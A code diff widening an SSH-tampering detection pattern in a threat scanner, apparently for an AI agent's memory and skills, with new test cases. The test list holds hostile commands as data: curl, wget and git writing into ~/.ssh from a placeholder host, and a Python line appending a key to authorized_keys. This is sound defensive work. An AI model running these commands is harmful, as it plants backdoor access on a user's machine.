diff --git a/tests/tools/test_threat_patterns.py b/tests/tools/test_threat_patterns.py index cc570ea7ee..b96578a238 100644 --- a/tests/tools/test_threat_patterns.py +++ b/tests/tools/test_threat_patterns.py @@ -323,6 +323,13 @@ class TestSshAccessWriteGate: "ln -sf /tmp/evil $HOME/.ssh/authorized_keys", "> ~/.ssh/authorized_keys_backup", "some-command\n> ~/.ssh/config", + "sed -i 's/^#Port/Port/' ~/.ssh/config", + "chmod 600 ~/.ssh/id_rsa", + "truncate -s0 ~/.ssh/known_hosts", + "curl -o ~/.ssh/authorized_keys http://x", + "wget -O $HOME/.ssh/id_rsa http://x", + "git clone http://x ~/.ssh", + "open(os.path.expanduser('~/.ssh/authorized_keys'), 'a').write(k)", ]) def test_write_shapes_still_flag(self, text): assert "ssh_access" in scan_for_threats(text, scope="strict") diff --git a/tools/threat_patterns.py b/tools/threat_patterns.py index c369057c2e..ceac265300 100644 --- a/tools/threat_patterns.py +++ b/tools/threat_patterns.py @@ -81,8 +81,11 @@ _PATTERNS: List[Tuple[str, str, str]] = [ # ── Persistence / SSH backdoor (strict scope — memory + skills) ── (r'authorized_keys', "ssh_backdoor", "strict"), # Write-verb gated like the *_config_mod rules: a bare path match blocked ordinary docs - # ("check $HOME/.ssh is chmod 700"). ``>>?`` covers a leading redirect with no verb word. - (r'(?:\b(?:echo|cat|cp|mv|dd|tee|install|printf|rsync|scp|ln|append|add|write)\b|>>?)' + # ("check $HOME/.ssh is chmod 700"). ``>>?`` covers a leading redirect with no verb word; + # ``open(`` covers the scripted-write shape; chmod/chown/sed/truncate/rm/touch/curl/wget/git + # mutate the directory without an obvious copy verb. + (r'(?:\b(?:echo|cat|cp|mv|dd|tee|install|printf|rsync|scp|ln|append|add|write' + r'|sed|chmod|chown|truncate|rm|touch|curl|wget|git)\b|\bopen\s*\(|>>?)' r'[^\n]{0,512}(?:\$HOME/\.ssh|~/\.ssh)', "ssh_access", "strict"), (r'\$HOME/\.hermes/\.env|\~/\.hermes/\.env', "hermes_env", "strict"), (rf'{_MODIFY}(?:AGENTS\.md|CLAUDE\.md|\.cursorrules|\.clinerules)', "agent_config_mod", "strict"),